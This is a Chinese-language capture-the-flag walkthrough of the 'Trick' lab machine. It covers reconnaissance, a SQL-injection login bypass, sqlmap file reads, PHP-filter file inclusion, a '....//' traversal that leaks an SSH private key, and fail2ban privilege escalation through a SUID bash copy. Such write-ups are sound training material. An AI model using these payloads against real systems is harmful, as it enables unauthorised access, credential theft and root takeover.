信息收集
端口扫描
首先使用nmap对端口进行探测。找到了SSH (22) 和 HTTP (80)。2个端口。
接着使用nmap对SMTP 协议去爆破一些用户名。
使用脚本爆破SMTP协议
使用smtp-user-enum 脚本 https://github.com/cytopia/smtp-user-enum 来检查这些用户:
使用telnet发现也不能成功。
DNS协议
使用 DNS来看域名的的解析情况。
子域名枚举
接着使用wfuzz对子域名进行枚举。
访问主页查看页面有没有一些可用的东西。
漏洞利用
万能密码登录
当我搜索http://preprod-payroll.trick.htb时,它会自动将我重定向到登录页面。
然后f12查看到,是一个员工管理系统,然后搜索nday漏洞。发现该系统存在sql注入漏洞。
漏洞详情链接:
https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html
使用' or 1=1--,对该网站可以通过万能密码登录。
sql注入漏洞
手动测试
登录框处存在一个时间盲注。
进行手动测试,输入1=1 和1=2进行对比,发现返回的结果1个是1,1个是3。
sqlmap测试
接着使用sqlmap进行从测试。
先判断注入点:sqlmap -r x.txt --dbms --batch
然后找到注入点之后,使用--current-user枚举当前数据库的用户
接着去枚举数据库里面的表。
接着去枚举表里面的用户。
使用sqlmap读取文件
可以配置 SQL,以便我可以通过注入读取文件。sqlmap允许使用--file-read参数。有用:
接着使用wfuzz枚举子域名。成功枚举出新的子域名。
文件包含漏洞
该网站在使用前面的万能密码登录之后,存在文件包含漏洞。接着尝试使用 PHP 过滤器对 URL 进行本地文件包含 (LFI)。
http://preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index
先去读doductions文件,然后使用base64解密。
接着去读index文件,然后解密之后发现新的php。
接着继续去读login文件。继续解密。
最后发现了db_connect.php,读出了数据库的用户名和密码。
接着就可以使用ssh进行登录。
目录遍历漏洞
源码分析
目录遍历
尝试在 web 目录之外加载一个文件(/etc/passwd这是一个通用文件,因为它是世界可读的并且总是在同一个地方)使用绝对路径(http://preprod-marketing.trick.htb/index.php?page=/etc/passwd)和相对路径( )都会失败
http://preprod-marketing.trick.htb/index.php?page=../../../../../../../../../etc/passwd
。
阅读 index.php 源码
只需包含index.php类似http://preprod-marketing.trick.htb/index.php?page=index.php, as 的index.php内容将再次执行,而不是返回源代码。尝试获取源代码的一种方法是使用 PHP 过滤器。访问http://preprod-marketing.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php可以在包含之前进行base64编码index.php,然后只会出现base64文件。接着继续使用sqlmapap读文件--file-read=/var/www/market/index.php
发现源码将../进行过滤。我们可以使用....//进行绕过。
<?php
$file = $_GET['page'];
if(!isset($file) || ($file=="index.php")) {
include("/var/www/market/home.html");
}
else{
include("/var/www/market/".str_replace("../","",$file));
}
成功遍历到了/etc/passwd。
接着去遍历id_rsa。
ssh远程连接
然后将其加到本地文件中,使用chmod增加权限,继续使用ssh远程连接。
获取user.txt
连接之后,成功获取到user.txt文件。
权限提升
fail2ban提权
配置分为三个部分fail2ban:
• 过滤器定义要在给定日志文件中查找的模式。
• 一个动作定义了可能发生的事情(比如iptables正在制定的规则)。
• 将过滤器连接到动作。
使用suo -l 检查该用户运行那些程序。
发现michael 可以fail2ban以 root 身份重新启动。
文章链接:https://grumpygeekwrites.wordpress.com/2021/01/29/privilege-escalation-via-fail2ban/
然后进入fail2ban目录。
漏洞利用
接着进行漏洞操作。修改其配置文件。
mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.bak
cp /etc/fail2ban/action.d /iptables-multiport.bak /etc/fail2ban/action.d/iptables-multiport.conf
ls -l /etc/fail2ban/action.d/iptables-multiport.conf
然后使用crackmapexec进行爆破。
接着使用nano进行编辑配置文件
对actionban进行修改。重启服务之后,发现还是不能触发漏洞。
重启环境之后,继续进行第二次测试。
使用vi对配置文件进行编辑。
actionban=cp/bin/bash/tmp/x; chmod4777/tmp/x
接着重启服务。
继续使用crakmapexec进行爆破,触发漏洞。
获取root.txt
成功触发漏洞,然后使用/tmp/x -p执行命令。
最后成功获取到root.txt。
总结
该靶机首先,通过一个ip,然后对ip进行信息收集,发现开放了22,80,25端口,接着使用脚本探测SMTP协议中存在那些用户,接着使用wfuzz进行文件子域名枚举。漏洞利用:主要是登录框存在sql注入和万能密码登录。登录进行之后,存在文件包含漏洞,接着读一些关键的文件,然后继续fuzz子域名。发现子域名的框架也存在文件包含漏洞。然后获取id_rsa,然后登录ssh。接着使用新的一种提权方式-滥用fail2ban进行权限提升。
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏